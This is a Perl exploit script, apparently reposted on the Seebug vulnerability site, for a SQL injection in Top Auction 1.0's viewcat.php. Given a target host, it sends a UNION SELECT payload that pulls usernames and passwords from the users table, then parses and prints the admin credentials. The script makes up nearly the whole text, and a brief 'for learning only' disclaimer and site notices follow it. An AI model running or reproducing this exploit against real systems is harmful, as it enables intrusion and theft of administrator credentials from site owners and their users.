#!/usr/bin/perl #[Script Name: Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection Exploit #[Coded by : ajann #[Author : ajann #[Contact : :( #[S.Page : http://www.phplabs.com #[$$ : 39.95$ #[.. : ajann,Turkey use IO::Socket; if(@ARGV < 1){ print \" [======================================================================== [// Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection Exploit [// Usage: exploit.pl [target] [// Example: exploit.pl victim.com [// Example: exploit.pl victim.com [// Vuln&Exp : ajann [======================================================================== \"; exit(); } #Local variables $server = $ARGV[0]; $server =~ s/(http://)//eg; $host = \"http://\".$server; $port = \"80\"; $file = \"/viewcat.php?category=\"; print \"Script <DIR> : \"; $dir = <STDIN>; chop ($dir); if ($dir =~ /exit/){ print \"-- Exploit Failed[You Are Exited] \"; exit(); } if ($dir =~ ///){} else { print \"-- Exploit Failed[No DIR] \"; exit(); } $target = \"-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),nick,char(112,97,115,115,58),password),3%20from%20users/*\"; $target = $host.$dir.$file.$target; #Writing data to socket print \"+**********************************************************************+ \"; print \"+ Trying to connect: $server \"; $socket = IO::Socket::INET->new(Proto => \"tcp\", PeerAddr => \"$server\", PeerPort => \"$port\") || die \" + Connection failed... \"; print $socket \"GET $target HTTP/1.1 \"; print $socket \"Host: $server \"; print $socket \"Accept: */* \"; print $socket \"Connection: close \"; print \"+ Connected!... \"; #Getting while($answer = <$socket>) { if ($answer =~ /username:(.*?)pass/){ print \"+ Exploit succeed! Getting admin information. \"; print \"+ ---------------- + \"; print \"+ Username: $1 \"; } if ($answer =~ /pass:(.*?)</title>/){ print \"+ Password: $1 \"; } if ($answer =~ /Syntax error/) { print \"+ Exploit Failed : ( \"; print \"+**********************************************************************+ \"; exit(); } if ($answer =~ /Internal Server Error/) { print \"+ Exploit Failed : ( \"; print \"+**********************************************************************+ \"; exit(); } }
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论